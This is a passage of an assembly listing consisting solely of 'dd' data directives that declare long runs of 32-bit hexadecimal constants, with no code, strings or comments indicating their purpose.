931FB1E1h dd 5D2FFB05h, 386CC73Eh, 0C2271CC6h, 587C17E0h, 0FAEF4C56h dd 428A1D11h, 77C446DDh, 0B905B935h, 0FC1401BDh, 0F742CB6Ah dd 61C3B33Fh, 0F1D9A57Fh, 0B86F4573h, 4265F279h, 0C5499730h dd 0B2280FCAh, 0C80E2CBh, 0BABD5C39h, 0C54B7C0h, 17512597h dd 50F7446h, 0D7524C6Bh, 2319032Fh, 0A6AAC447h, 24FCF84Eh dd 12994805h, 321BE221h, 0A86F444Ah, 0D5A8DD9Eh, 8624DAC1h dd 77649548h, 0E214ED7Eh, 0A0521CA4h, 2A607620h, 6B74D180h dd 0E027E9E6h, 0A9F53961h, 984650B2h, 196C3B24h, 85C2FE71h dd 47B7BA9Ah, 0AE33D3ABh, 7A46EEE0h, 0AB99DBC5h, 3FF246D3h dd 0E3BCA61Ch, 0F1490815h, 0F38445A4h, 148898FAh, 0A6357538h dd 655A1DD7h, 7DEB4AD4h, 419B4ADDh, 45E99B94h, 0CE0D370Ah dd 0E381785Bh, 0A492666Bh, 8C94BE12h, 0AD44FA5Eh, 0D50B31BBh dd 7516957Eh, 0A90B3283h, 72717835h, 0B5A0595Bh, 0B93BB902h dd 0D3001A52h, 0E4DC1BFFh, 0D1884E52h, 8F78495Dh, 1FC58EAEh dd 0BAE623DFh, 0B90F51D0h, 0AD19FCE9h, 98AFEC06h, 41EF855Bh dd 66EF79Ch, 0E7027D59h, 0D7BF71DEh, 50754FFDh, 0A9C76C14h dd 0C3C9FB7Bh, 43E510BEh, 5F2B7DCh, 0FB9D58F8h, 9E9F238Ch dd 0DDA478B2h, 79290461h, 7C1F8B60h, 2E483466h, 2675809Dh dd 5E3B0663h, 15A479EEh, 190BDF37h, 992800D3h, 41CFE578h dd 0C4438EEAh, 9747F925h, 0BE842507h, 0BFE88094h, 0DC5ED69Dh dd 0AF49692Eh, 0A5FD8593h, 51072F42h, 5A5966CDh, 0C10A586h dd 95226B50h, 0EC4B7D57h, 0FC4CED2Fh, 0BDFDB648h, 93E89CD1h dd 0B4DE1687h, 0E4CCBFD5h, 58613770h, 94D59679h, 7B4732B4h dd 7CA21C64h, 99AAB232h, 88D58F00h, 3EF7430Fh, 8D261724h dd 0B95B9E45h, 5727362Fh, 63E7A3ACh, 0BDE31039h, 57AF4840h dd 90D72C65h, 2FCA973Dh, 2C1C4BCh, 8F2672D6h, 0D5769E6Bh dd 9F745C61h, 9C2AF0EBh, 836492Bh, 0E6D75611h, 476DE3FBh dd 58DA657Ah, 26245F9Ah, 54EC09B6h, 9F233076h, 90BA4159h dd 0B689B6A9h, 10932A2Fh, 5783ACD2h, 65E3BB2h, 577D6A68h dd 0F0086657h, 6BA41D1Eh, 957B5762h, 2DABF740h, 0C9648991h dd 0C37C9AEh, 88D73A66h, 76B7BC97h, 7239C29Dh, 6D5D5A3Ah dd 7BF91BE5h, 0A81B14A9h, 1A39F545h, 964EB425h, 86F24746h dd 23494308h, 22755F0h, 0E8FA573Ch, 0D8C88DFCh, 0F8E2A7E6h dd 0D2BAD9C4h, 2478F5A0h, 6B8240C3h, 0FDAFF47Dh, 0B25208E4h dd 0D1A39843h, 2EA9646Ch, 0B2385346h, 81B6CC06h, 8A0E8451h dd 429A2BA1h, 0CBA7EC38h, 0EFBAC5D4h, 0BC68BDA5h, 4DB353F8h dd 7BF1AD0Fh, 0D7953E6Eh, 24C08901h, 0CD3671ECh, 0A47A9EAAh dd 0D0E1AAD8h, 149FBF0Ah, 0C85A7BEDh, 6CB312F5h, 0CD4DF3BEh dd 8EDA9554h, 4A518C77h, 0E93A804Bh, 3DC737E6h, 0ED2471D5h dd 40F6E658h, 3B056B2Ch, 43A5D2Eh, 0F60BCD83h, 0DE847A78h dd 5B5FC487h, 0D8892C53h, 0D44483D8h, 0BDC92436h, 8A9D46AFh dd 22CA210h, 0BB569ED0h, 0F1223046h, 9115350Ah, 0CDF791BFh dd 0E34CA75Fh, 1AE80E29h, 0D53D30DFh, 8A56A83h, 73829A2Bh dd 327ABA17h, 65CBC52h, 8269F63Bh, 0DCF1B1FCh, 0A778EB61h dd 44EEC46Dh, 2010B085h, 853C1243h, 345A3F4Ch, 64DB1FF4h dd 439913D4h, 0FF571592h, 0AA416A87h, 637950B4h, 97ACACADh dd 4B6D0289h, 0C997BA9Eh, 4217CC73h, 53CBEBA7h, 2CC88581h dd 546EEE8h, 937D2461h, 5E3158F5h, 11654E15h, 0E3C8825Bh dd 4A9BC365h, 769EF7C1h, 0BD35EEC5h, 0AFDBABEDh, 0E2E6CF9h dd 0E744A9DDh, 43CEE3E2h, 40CFC9E7h, 0F3D4E2E3h, 7DE4726h dd 3C605DCh, 6FFA5E07h, 2D37923Ah, 99921254h, 45DCA27Fh dd 0C1C8C4E4h, 0CD04BC68h, 1B2557EDh, 0E6C58B45h, 35B12781h dd 0B103A972h, 2E68D53Eh, 0CE66F2F9h, 89757F03h, 886360B3h dd 0A37F1A4h, 0BEC50152h, 0C613D76Bh, 3113B143h, 8DC2B0AAh dd 4F542F14h, 301C5F7Dh, 0A2E7263Bh, 0A6FD478Bh, 4CC488B2h dd 0A67220A8h, 0BBBDFE90h dd 53C567F6h, 0A34600F6h, 59340B83h, 5FEF9B91h, 936D5857h dd 7D13B45Bh, 8E1644CBh, 8D8D38B5h, 0FF12BD86h, 0F76C9DE0h dd 0B161D775h, 0AA285AD8h, 26EF96E0h, 98959856h, 0D7D6C56Bh dd 36910587h, 0E839B4CDh, 47E98BE5h, 4F023943h, 33991B70h dd 0C31CE8CCh, 4313E0F2h, 216E411Ch, 82928208h, 7FE4AA7Ah dd 0FC9FF1EAh, 4ECFB1F7h, 0C8138D4Dh, 0CCC748C8h, 317E1B32h dd 297739BDh, 4A8E9696h, 948F512Fh, 781BF82Fh, 2660A622h dd 0E04B24AAh, 0BF20934Dh, 28282FCEh, 3A7DDFD9h, 7A1689C4h dd 2456C784h, 80218772h, 8192787Ch, 27BD7FF9h, 0A610BE5Fh dd 0F03DC2F6h, 0BF1E8D89h, 18DBC79h, 0B5AA4EB0h, 0AF4ED893h dd 0D613948Ah, 7D2C61AEh, 73613A37h, 0E79F4A52h, 1BB503B6h dd 0ACF5451Fh, 0C8832E68h, 0E62CEA04h, 6F3DB686h, 0AFACE917h dd 69D9CD6Ah, 456C8122h, 51709E0Ch, 960EEE9Eh, 0ED053D1Bh dd 539B4EABh, 5C0FA6F5h, 119C109Ch, 0E8348FA7h, 0CF51BB01h dd 0BFC50A3h, 0BC0A995Eh, 39298214h, 3DAB8595h, 0DEF9BBE1h dd 0C80F339h, 0F592F34Eh, 0EA9CE1A5h, 477BE10Fh, 8450DFB9h dd 2BD6F968h, 0F33F0DF8h, 0B97E17C8h, 3A07721Ah, 710CEED6h dd 246555FFh, 456A406Fh, 65C5C390h, 0F099265Eh, 1E606390h dd 0FE3F9DDDh, 0F47E3555h, 0F0F04D9Fh, 0A25C5D48h, 4B31F28Dh dd 0C354E49Fh, 1CF7F79Bh, 0A4ABB13Ah, 0E0D34C94h, 65B3CC19h dd 32A8E5AFh, 0A3276F08h, 8E1677C1h, 9DBB9AC2h, 7A550B8Eh dd 815AB12Eh, 2B35AE87h, 62CE5F19h, 17C0B59h, 0FE1CD66Eh dd 0F96025A3h, 0C9591B93h, 65386E52h, 3AA78F09h, 0AA7670FCh dd 0D685D44Fh, 8F34406Ah, 64432C70h, 0F21008h, 0ECA1A154h dd 0D04A1E53h, 22411C90h, 8BB20C97h, 45920A45h, 0D5528464h dd 6C440773h, 0EB39A293h, 18D3ECE3h, 0BA075BCBh, 0A73F69E0h dd 4170B7C8h, 8E138071h, 528CFE70h, 0BA4597A6h, 0E3419A4Bh dd 0ABE2A081h, 0EF322DD1h, 25D95929h, 4FB655EBh, 70970F91h dd 0C364519Ah, 2FE3B2E1h, 932665AEh, 247B24D9h, 0A502AAF2h dd 0A2137AD0h, 0E5B2BAFAh, 9AA2D295h, 4227E9A3h, 61B94EDBh dd 0EE09DF99h, 78703602h, 9391007Ah, 79E8A16Dh, 58221B80h dd 4DE41DE5h, 8BFBD164h, 1BFC7D24h, 0E636E4DFh, 0D7701DCBh dd 42279C7Bh, 7B4A7299h, 8A41B4E8h, 873171ECh, 0FC4CC458h dd 8D0E211Eh, 7004A7ABh, 0EE0E45C2h, 0FF31C5A0h, 47FA8B07h dd 749DFBCCh, 8C963A93h, 7BFFC23Ah, 5C02B139h, 9BE07FD0h dd 121C787Dh, 0DFD2C729h, 0BB129C87h, 6FF933B1h, 2B90EA4Ah dd 69568FAFh, 695FDF04h, 35225824h, 0B19CCF7Fh, 57E5AE37h dd 0D8025CB8h, 0B73A9B48h, 895A1A45h, 0FD95C032h, 0F5D2156Bh dd 990E0D52h, 953BF33Ah, 0C34C0F2Eh, 26EAA4DEh, 1543624Bh dd 0B1D6DBFCh, 409D72E7h, 475F4FF1h, 5CB2EFCEh, 0E2CF1EB4h dd 0B577A146h, 0BEB10007h, 0E2E16207h, 6919E385h, 0D7D88FB5h dd 85A9F796h, 0CA9A0902h, 543ACF07h, 0FE941CEAh, 66A046C3h dd 0D71F4D1Ch, 8A76EEACh, 4B42E6E7h, 0F27E6FAAh, 0A9BC7F58h dd 3BE24877h, 5374D74h, 8691E960h, 698FF356h, 818A369Ch dd 24113D3Eh, 91A08B23h, 7EF7440Ah, 7AC01045h, 6AAAE123h dd 840E9041h, 0D4064C5Ch, 2CA15E2Bh, 0D07E4CFAh, 631A7C2Dh dd 482C1F00h, 66930DFBh, 71DF1B1Eh, 0ED8C3A1Bh, 0BC48E65Bh dd 83051832h, 0F65AA50Dh, 0DCBB5EFFh, 1614F519h, 9127BFC0h dd 4080BCD7h, 0EECEFA94h, 755D7D4Bh, 2C401AA1h, 77177995h dd 7F759DA0h, 3F641510h, 16BE0698h, 0B7881A6h, 5CBC2479h dd 0E6FDC5CCh, 82306CACh, 5855F333h, 8496BCAAh, 0DECD3E6Dh dd 24693268h, 583399E2h, 242086E7h, 453607CAh, 64E14DB0h dd 2448D290h, 31439FCEh, 0C06A9593h, 4F2D73EBh, 0F70A7524h dd 6C536AA5h, 338FB61Eh, 7B0167C5h, 0A7C46A26h, 8E6B122Bh dd 2C9692C3h, 941D1B4Eh, 0A48D1B05h, 401FF870h, 0A74FB657h dd 9D7D44C5h, 1358FD83h, 114B9250h, 59ABB224h, 52D4E64Fh dd 708FD772h, 77B5EED2h, 186B70FAh, 15459E1Ch, 69E4C6C7h dd 3DB9FFACh, 37339402h, 0C36CFD29h, 0F88BA437h, 2D483F26h dd 187CBD23h, 0FD4D9284h, 88A19657h, 8EE94932h, 4042254Ah dd 0E9835335h, 0BDB00A78h, 906E5870h, 0B86850E2h, 29D20391h dd 240715DFh, 218B3EA3h, 8B021B4Ah, 1FB2ED40h, 0D32BFAD1h dd 4D3E2F29h, 176DBC33h, 6360205Eh, 0B30C33F4h, 0D06F86FFh dd 0A3D4E6B5h, 0D7266D0Dh, 5E63826Bh, 0D072C948h, 0FAAFC372h dd 0E828DBB8h, 0C6D4DCC5h, 0FB3F1654h, 0C7A246A1h, 15BB669Dh dd 0ED278E43h, 1FBF00Eh, 0F6BD0E6h, 203D3251h, 0A5CD4EC2h dd 4CA5BDE3h, 6EEED079h, 3EB99CFAh, 885AF2E8h, 6FF01F9Ch dd 0D7C30615h, 64809D9Dh, 0B6638843h, 63CA8019h, 412FA705h dd 0DC6E39ADh, 0A8D9C4BBh, 0DA474E39h, 608D0FC9h, 600703EEh dd 0C70B0811h, 0A8BB1B94h, 0AEB4A0DEh, 0F0F67A74h, 0EB293364h dd 25EEED4Fh, 5D43B6EEh, 1991DDEFh, 3073E7A1h, 1B2EFE98h dd 15ECD9B8h, 88187DBEh, 415B91A5h, 6BE5F8B8h, 6AA46834h dd 0D245DABDh, 6AA45FEAh, 3576AFAh, 0D7D8A661h, 35CB51BAh dd 5D688E1h, 2DC667E1h, 0D553815Dh, 0F0533519h, 72BD8449h dd 0B5F0CACCh, 9B42358Fh, 0C0930F89h, 408D2F2Ah, 0CF6DD280h dd 0AAA8209Eh, 79C8D2D8h, 8C4C978Ch, 0A60309C7h, 9388F641h dd 0ACC9A899h, 418D2BDBh, 731B43B6h, 0DB16EE6Dh, 45C96147h dd 1900C32Fh, 0F1FCEA39h, 1ADF8596h, 8D9B7467h, 81D95CCDh dd 0AD94B7ABh, 2F5B7EFh, 0DC854FCBh, 0F2F7FE0Ch, 106A2669h dd 5E40C8EBh, 0F75E1D2Eh, 8B8E70CDh, 0A65BCE4Eh, 0DBC4D09Fh dd 43E0C9A4h, 86769366h, 27B31FF8h, 0E62A6BA3h, 67246FD0h dd 1573BE4Fh, 0CBFC791Ch, 574C4227h, 0FE4C8C2Eh, 0A666987Fh dd 0BECCE3EEh, 42295E22h, 0E4EEB760h, 2A4A8640h, 4001096Fh dd 4937D415h, 2F912CBh, 538B7BF6h, 0E5FA1C7Ch, 6B546012h dd 1B2D4962h, 8747A3ABh, 0F81AD2D3h, 0B5A38404h, 12C7334Fh dd 0C0859175h, 2BEB148Ah, 83BAA1A6h, 745A6EA1h, 0D3FEE5D1h dd 0E38C38BEh, 44FFE5B7h, 39E50632h, 56C00436h, 8C08FB0Ah dd 3BBEFD05h, 8280E429h, 5A6A0D14h, 5E77E4DBh, 0F712BB90h dd 0C3180AB0h, 5D894386h, 53F19913h, 218F4099h, 0D1A758F8h dd 2D85B706h, 0D257A8E6h, 3A471ADBh, 16E31AFAh, 0F0DDD732h dd 8CE395A6h, 8456730h, 14F010EAh, 0DB8D2380h, 1CF0B168h dd 8E2BC0F7h, 0DA97E1A5h, 7AC2D094h, 0CE69AD3Bh, 0F1F5EBC6h dd 70CC03A6h, 8780F006h, 1D2C5F95h, 0D72DAAA7h, 31AB6368h dd 248EB0E1h, 293AD93Eh, 0DB1B65DBh, 0D4290815h, 0B6CB5F90h dd 4839E4B7h, 10CB5C48h, 0AB69BE88h, 0C8E42760h, 0A3D14799h dd 9812AA8Eh, 4EF68002h, 207C27D9h, 0B3F9E0FFh, 0AC3A3043h dd 0F41DDB1Fh, 0F6A1E3E1h, 0B5053E52h, 31604129h, 0C3BC4CB6h dd 0DDB53EEDh, 0A7A8ED81h, 2D82E8E2h, 0E94FAA79h, 7905FEEAh dd 0B34080BCh, 8186DDh, 54E42895h, 18733D82h, 8264F8A4h dd 953B1F45h, 4096D79Eh, 9B1C8A66h, 9A4BFB3Fh, 0A7B8B7D4h dd 7BB06189h, 0E91528CAh, 0DA3BFE8Dh, 0D6A3B22Eh, 762FDAE3h dd 0A98F79DAh, 8938E27Dh, 0E77515F1h, 25C43ADEh, 154C96C8h dd 0B8C8F69Ch, 66E57824h, 7D8950E1h, 0B0F9B554h, 9B50041Ch dd 0AE5CCEF1h, 5CCE3C62h dd 0AC9CC13Bh, 5C2BF113h, 0D452ACF1h, 0BCACFBDBh, 351886EDh dd 88AA9208h, 0D7B7F8F5h, 0D306B1EAh, 4E2376CFh, 0F9B17CB2h dd 91855A4Fh, 0CFD7EAFh, 3A61ADE7h, 0C15BD8D8h, 0B0F89BE3h dd 79429AEEh, 0CF9C4E58h, 0D37604EEh, 6931BB7Ch, 1BA868E6h dd 58DEB13Bh, 3606B4C5h, 0BB65504Dh, 0A6E6939Ch, 0B839991Ah dd 819D57AAh, 929E5D5Bh, 7D362B37h, 1C6ACFB3h, 0FAB8D45Eh dd 78737B2Ah, 210F456Ah, 0E2112BBCh, 48B24CBBh, 73BCFAA6h dd 9229E22Dh, 98B7276Fh, 0E5B8EE1Fh, 1F74FE40h, 485F5D3Bh dd 25E7F7B3h, 8CDD30D2h, 316317A4h, 0AC8FCCEEh, 0D7CDE888h dd 0B56C9624h, 3E91338Ah, 0CB4B8A7Fh, 0C03B37E6h, 2788A959h dd 0F20D0D42h, 0DBD8F414h, 2442124Ch, 4E3C2ECBh, 0AF55456Eh dd 3B938AEAh, 296C2BCh, 0C0274F1Fh, 2C5EA8Fh, 8CD8E866h dd 862CDCC7h, 2CDC5A70h, 0AB52148Fh, 0A7C37FAAh, 5F2149EAh dd 8D269442h, 7EA49F84h, 15DE5968h, 0FEF3B653h, 0E18B916Ah dd 7BA71BFEh, 5950D91h, 2C48CB70h, 0EF547531h, 816965E0h dd 0D5251CC8h, 0CF5ED402h, 0D6597648h, 219C13E4h, 25E9E80Ch dd 3E999F02h, 78FD5288h, 101155CCh, 55EFC1B0h, 0A244F69Bh dd 972AB970h, 0E2D70C60h, 0B5270105h, 5C216FD3h, 0DF905110h dd 1C60F76Dh, 0DAEBA5D3h, 0E1B12045h, 927E2A48h, 0C514249Eh dd 2A45D094h, 8090A695h, 5837AE40h, 6E8C5B06h, 9EC7D90Eh dd 1BD3115Eh, 0DE40E50Dh, 0A82F856Eh, 99770F44h, 0ED7F11DAh dd 30E088D2h, 29E3AC3Eh, 0BAF98436h, 0BB137F81h, 0BDED2E9Eh dd 0C832BE10h, 0E40A4740h, 0B0F8F89Eh, 0AFD6C78h, 561B5F95h dd 0E9AEAA90h, 6B20BEC2h, 64D776C3h, 0A4D7F5AFh, 7E3CFA14h dd 0AAD4D19Fh, 0D837F07Eh, 0B3E606ECh, 32F9A4ACh, 0E2D02635h dd 72E98631h, 0AFA63829h, 4EBE2110h, 62C8E960h, 0EA603189h dd 23758E0Eh, 0C91FD3C7h, 0F675379Dh, 0E42B7184h, 0F9226CACh dd 3D6C2738h, 24306A74h, 658E848Dh, 0E6D3D7Eh, 0FF6EBD6h dd 8164C80Dh, 78F56ED5h, 0AD2DDA2Ch, 0BC9E9CE7h, 8D2EF608h dd 0E2B4F193h, 0D4FB21A3h, 26B33120h, 0B94B9F9Ch, 3CBABAF1h dd 0BE2E5542h, 6C5E59F9h, 25C75202h, 0A01DC5D1h, 0C7D433Ch dd 870103E6h, 0AC0158ACh, 9BD9D6FDh, 6C6F1EB4h, 1103BDB5h dd 4999A79Ch, 0E72999FFh, 0A877F387h, 0B15B05Bh, 865A3FE4h dd 3D71DC00h, 32370BB3h, 95BA3A39h, 0F6046088h, 0DB2208EEh dd 8D436D5Eh, 0E37A91F2h, 0EFA7ECF2h, 0DAD967DFh, 52D1E5FAh dd 0FF5F5A31h, 36F90C7h, 7795A673h, 5B735B74h, 10AD9BDDh dd 0BFBAE1A8h, 73602BEFh, 1F501862h, 0B5EFFC8Eh, 7B502335h dd 0E4600543h, 574C8C0h, 6A7C2D2Ah, 55457370h, 0A3FA139Eh dd 47AAFB5Dh, 2F232707h, 9598759h, 4E25C730h, 0C66AB7h dd 4D6A792h, 38E06CA4h, 6D62A980h, 8105D587h, 7E4A4FCAh dd 0DF94B7FCh, 0C5F67419h, 17271877h, 0E8A1992Ah, 2E98793Fh dd 1B5AE6C0h, 0DD2B8A90h, 175C818Dh, 4EEF1225h, 7A24210Dh dd 0DDB8F7E2h, 4B140A94h, 588E9629h, 13680382h, 0F6D5020Dh dd 315912B6h, 2201A922h, 0FD27D7B4h, 7E29E32Eh, 356DFAD8h dd 0CD54CF4Dh, 7A4BCA30h, 1D5214h, 5B8932FBh, 6CDCBED2h dd 84FA14CEh, 0F75E9DE4h, 9C91E061h, 54B02095h, 3DF4C8EAh dd 1FE47608h, 0FDB84EB3h, 0C695A3DAh, 247BA440h, 466E085Ah dd 3A3970F8h, 27F1A175h, 0DA992EC6h, 0DF2D4BF8h, 9FF487BDh dd 177A4185h, 0DE6AE49Ah, 1CE7A1E9h, 0A8846888h, 2E1CA91h dd 3CEEDFEEh, 65A915DFh, 179E2F4Dh, 9CA7B474h, 0C35A1208h dd 71B76FE5h, 0B6D4631Ch, 31973883h, 1699A9ABh, 2EDA1AFDh dd 0E731E89Fh, 7CD9E4E1h, 0BDEEA343h, 0B67B5E56h, 13046777h dd 170D9C98h, 0D162894Dh, 20D3A016h, 0A1A324D7h, 36A04114h dd 0A925F3BBh, 0E416C97Eh, 479F1BB4h, 3FE1AF3Fh, 0CA46AF92h dd 0D72F1B0Bh, 8C1C64DAh, 52871367h, 0C29B626Ah, 0AE4C8B25h dd 0A1216870h, 950C5953h, 7D9BD11Fh, 18A999FFh, 0C4A9CB64h dd 48597E4Fh, 0E26AC166h, 50EA046h, 5C17DC08h, 5366D7A4h dd 2C9D4D90h, 0E1957822h, 0BD1360C8h, 9A0D9332h, 0DBECCA33h dd 796D7D74h, 0C4FF4A2Ah, 520CD6FAh, 0B67EEFE3h, 0D602BFA7h dd 4FFAF1D7h, 4346F3F5h, 374523E8h, 1F1E8297h, 0AC7C5872h dd 37CB3991h, 7532BF9Ch, 80635CFEh, 4B8946EAh, 9B7C3DCAh dd 61EB1872h, 0E72626E0h, 8B897633h, 401F04EEh, 0DA69F782h dd 0F57F90CDh, 8F281909h, 86D41EDEh, 230B6FA0h, 8EEFEB76h dd 395F1D7Eh, 251322CDh, 36EE7065h, 3446C125h, 6A84E914h dd 487C7EFAh, 0B0B6D047h, 8BACB45Ch, 7BDF2296h, 96AB97AEh dd 0CCA19EADh, 0C7416C5Eh, 0C294B760h, 42F4A9FBh, 9B6F93D0h dd 0DCD50C7Fh, 27A7DD5Ah, 47F8263Ah, 36AB97A4h, 391CA5D5h dd 19E88D15h, 0FBC67EB6h, 73E7CE1Eh, 0BFFBCFDBh, 211CDCBFh dd 7770957Bh, 4DEE26A4h, 0F4262311h, 31807FC0h, 0B0EA21FAh dd 404B923Dh, 76C84AE4h, 5D500BABh, 0C70E6B97h, 482584CEh dd 0CC758A2Eh, 98B098FCh, 0D01E28C1h, 0D8D5A781h, 3F4FF0B1h dd 22FC1EB6h, 4C4BFB6Ch, 514321BDh, 0F8B978D5h, 60007ED9h dd 2223BD00h, 0B15D4127h, 9ABABE5Dh, 0C3EC5E6Eh, 241E3589h dd 0CC6A8C07h, 78540512h, 0ACDF4FA5h, 81C1221Bh, 14D6104Fh dd 6C87984Eh, 0C2DBEDC1h, 0D73A052Ah, 7476F371h, 4E8D307Fh dd 0AB489452h, 7C325160h, 9659D4D8h, 21A2B642h, 0CA171BD2h dd 9DC9DAD3h, 0F91752ADh, 92EC74E2h, 1759CD9Fh, 0CDB79EFEh dd 876131D9h, 0E7F759Eh, 0BF266252h, 0EE1540C0h, 0F804974Ah dd 0A13F282Ah, 0CB41E7F9h, 899B8B0Dh, 0BDFC169Bh, 1CA96338h dd 0FCAD7A2Eh, 7E9CD4A3h, 0D38F851Eh, 0B84EFC2h, 1977AF7Ah dd 20D23E8h, 3095708h, 4D4A2B41h, 986F785Fh, 7C685E10h dd 0B66E18ECh, 0DC439239h, 0FBF03CD4h, 7C607639h, 0E2F95C06h dd 16733BD4h, 63CDF8E4h, 5B3675BCh, 0D3B59E7Fh, 66D0069Eh dd 29CBADACh, 7DE98A14h, 3C3A12D4h, 0F040A346h, 1FA7A3C6h dd 13E12BEFh, 736D4889h, 0C1333DC2h, 0CDC4E02h, 0ACF153D7h dd 2D72D3D4h, 0B914EE2Eh, 8ECB55EBh, 0E39EBC6Ah, 9911FA0h dd 2C63FC40h, 0B9DEEC3Fh, 0DB4275F6h, 861BACDEh, 6EFCBA6Dh dd 0C8D8003Fh, 9FC727E1h, 5315EE8Ch, 67B6712Fh, 55F5926Dh dd 2DAE1A15h, 0F95F12A2h, 8D525405h, 3EFF435h, 37B6823Fh dd 79C312BEh, 6B69ADF5h, 8BEEAB93h, 0B49ED759h, 9D707BF4h dd 4CA83589h, 88AAE2B7h, 8A15AEE9h, 81A9A5A7h, 0DB8C03F0h dd 0EDE06CE0h, 0EEDD010h, 0A17D6087h, 4F7FA0D4h, 398B3707h dd 0A0C6F69Ch, 133D0460h, 7961A089h, 0E6CD0C22h, 0EEB4B183h dd 547A36Fh, 169D01BCh, 5DD94855h, 431E46FBh, 312B6FAh dd 8B1C1305h, 0EF8DE97Fh, 3F25F0A1h, 27F162F2h, 9FA81A38h dd 0C9C86068h, 9BBCF621h, 3232DBF3h, 781BBB1Bh, 0D212C5FBh dd 852B7F2Ch, 6E79DC61h, 49E7672Ch, 83D1A453h, 8BD8B7CAh dd 0B79C0628h, 19E2D5C6h, 0BA8D9046h, 7340DF84h, 0F78084DCh dd 9D1F546Dh, 31EA9A5Ch, 5D145901h, 0EB0A3506h, 58C607B3h dd 0CB03AE94h, 3A4D472Ah, 0B9C6E887h, 0F238CACh, 66209DEAh dd 0BC6C5009h, 8C92CDDh, 6FDAA21Fh, 0B5B47810h, 250BE0DAh dd 8B0AC23Bh, 6BE382DFh, 0B7E0B8CEh, 8D1753CCh, 9E379E9Ch dd 3098912Fh, 0E6369D64h dd 5BC7F264h, 0F5F92368h, 0D6AF83F6h, 32655F76h, 782850E6h dd 6643DAA9h, 7708883Fh, 223104ADh, 0EA99861h, 0ED50C820h dd 0A90FB908h, 72F1D6Bh, 0E1F86AACh, 5A4149F7h, 0C3D8FD24h dd 75398371h, 32B68A8Ch, 0E84C9B40h, 0F086833Bh, 0CDC9B4B4h dd 6BB71083h, 0F2C51974h, 74C765B0h, 398B38A7h, 55898C13h dd 73B5C7DCh, 193E5C36h, 0D9ACB272h, 0B80A929Bh, 0DF1D7388h dd 221DF610h, 0D3C7F38Ah, 0CDBE7B5Ah, 0DE2B3D47h, 11B415D4h dd 0D5D5BFBh, 0C2F4EB7Eh, 877F4384h, 7F6603CAh, 0D19C793Eh dd 372C5245h, 0D25DD1F0h, 632AE243h, 4BE3DF21h, 0C4CBA59Dh dd 39BCF7A0h, 95B4CC9Dh, 0EB3C0302h, 651F7B6Ah, 906B20D5h dd 0D4384B4Dh, 0C06B44FBh, 0FBF6301Ah, 4A0A36E7h, 0D8C20E7h dd 2E5D4A79h, 30790E42h, 3C4D7D5Eh, 691F1C4Bh, 0A4E5A9EFh dd 0A5332E62h, 0E4C522EBh, 325D65B4h, 20967D14h, 0AA903B5Eh dd 98E2B00Ah, 6FD90BD3h, 76FB5478h, 6B4557Dh, 4DEEB8D6h dd 0AE701B65h, 0A7A89F4h, 476705F1h, 72F9BF3Ch, 0DC1F91E7h dd 0A59DF272h, 395CF0ABh, 91CE2786h, 0A11B9467h, 6B84284Ch dd 2B2A386Eh, 5C9BAEECh, 616F75EAh, 0AF0984BCh, 412084EEh dd 4DB27A23h, 906C2F93h, 32585FCCh, 0ED3D7A3Eh, 4B983499h dd 9CE47212h, 481C18FFh, 1E926EA5h, 8F3A1ADCh, 95E38297h dd 0AF42EAF0h, 5D5D6D1Fh, 0DBAB71F4h, 5A709C5Eh, 3E5E65CFh dd 14891CD1h, 0CD2AFE49h, 6AC83DFDh, 9C0DA44Dh, 3AB38513h dd 4FF0E55Ch, 1E304321h, 0A3EB15FFh, 3D809457h, 0BB6A8D35h dd 0D43E2BFDh, 0F6B1BDBh, 255D0133h, 0B3FEED36h, 546573C2h dd 5FD76DA5h, 1D444087h, 237234BCh, 6F31CDDAh, 0B7FEDD7Fh dd 0F2C6C1E6h, 53E9164Ch, 724E9CE7h, 0F654ED96h, 0CD44A22Bh dd 9CF132Eh, 9026E19h, 0D48DB23Ah, 973946B5h, 0B50A2CBEh dd 2AFC4A68h, 90FCA117h, 73684259h, 31DDBFDDh, 2D8BA754h dd 7B3B7554h, 0DD28B905h, 0E8E507DBh, 0EA9F9648h, 89F0FC32h dd 0C01C3D39h, 0EAADCD99h, 0A3A11D0Eh, 0DD94CEFCh, 7B62C60Fh dd 4500A55Ah, 3A219A09h, 564FE824h, 11EBDE1Eh, 102E1ABEh dd 96E980A2h, 1BA51E19h, 8CD109F6h, 0B843C5E9h, 1CF4B1C1h dd 0A52855BEh, 24242C30h, 0BD0E0DDh, 19579D94h, 245934BCh dd 741C55h, 0DAC16123h, 2F10D4C5h, 25884757h, 9E87B7D1h dd 854F0A6Eh, 0DF27E1DBh, 0E360952h, 0F1150E42h, 8D534880h dd 0F5B69D7h, 0C55CACCFh, 0D25EB6FCh, 0ED8D10E1h, 1E32F59h dd 0B2C210EAh, 0D8C76579h, 2F50B92Bh, 0AC15C0Ah, 2EF2CFEFh dd 68885886h, 33E3B2D9h, 0FC6E8AF4h, 1A4E72E4h, 3B651C1Eh dd 0FDF1B283h, 38FB07E6h, 8063B3BDh, 0AA998610h, 68AEF6BCh dd 0EE44E0B2h, 0DAA635A4h, 0AB10F040h, 0FD7EEF3h, 0F8FB5D28h dd 44B95635h, 499B9FF8h, 101E3115h, 1298CD27h, 5A6F9D0Dh dd 4DC3FD5Dh, 0A252C033h, 5288D0DCh, 2DD4AD59h, 8F58EA6Bh dd 79B7AD08h, 0C1727CE0h, 3AAB4E67h, 0F252AAB3h, 5840F4BBh dd 96D2637Bh, 5A2EC4D6h, 0ED3C91C9h, 3856CC31h, 927EAD08h dd 16F3C044h, 0F409EB43h, 0DD2B55B1h, 0D3EE851Ah, 0CEE89008h dd 9978347Dh, 0E54CFF05h, 45A180CCh, 1FF66810h, 0C121883Fh dd 5B5A4214h, 7F12C40Ch, 75B747A3h, 4F394877h, 50B602DCh dd 0A2917B97h, 967A3793h, 8AC6E788h, 2FE91520h, 638F1592h dd 5FAAB485h, 0FA65BF15h, 0AF343FC1h, 375DE716h, 71C54D49h dd 0DA07CDB4h, 124AECEh, 133B48B4h, 1055FF24h, 346AA8A0h dd 1E5DC066h, 0A250D66Ch, 2BC2CB02h, 0DBE23335h, 4CEBF2CDh dd 4509140Dh, 30641272h, 0EF5D1505h, 867E4415h, 0E7F5AEE9h dd 0F5B1563Fh, 0CAC16683h, 73A98A91h, 0DF7A13DDh, 548BB479h dd 5A36EC26h, 0B052C263h, 2E662109h, 98354D22h, 3395DB50h dd 0A37E85BFh, 0E50A4864h, 9FC5C70Bh, 5ADC2EBAh, 77CFFC29h dd 79CBE713h, 9CBE8E2Eh, 69429D75h, 9B0F318Fh, 0F6970F6Fh dd 7EECCB7h, 3D57000Ah, 36BAF7D1h, 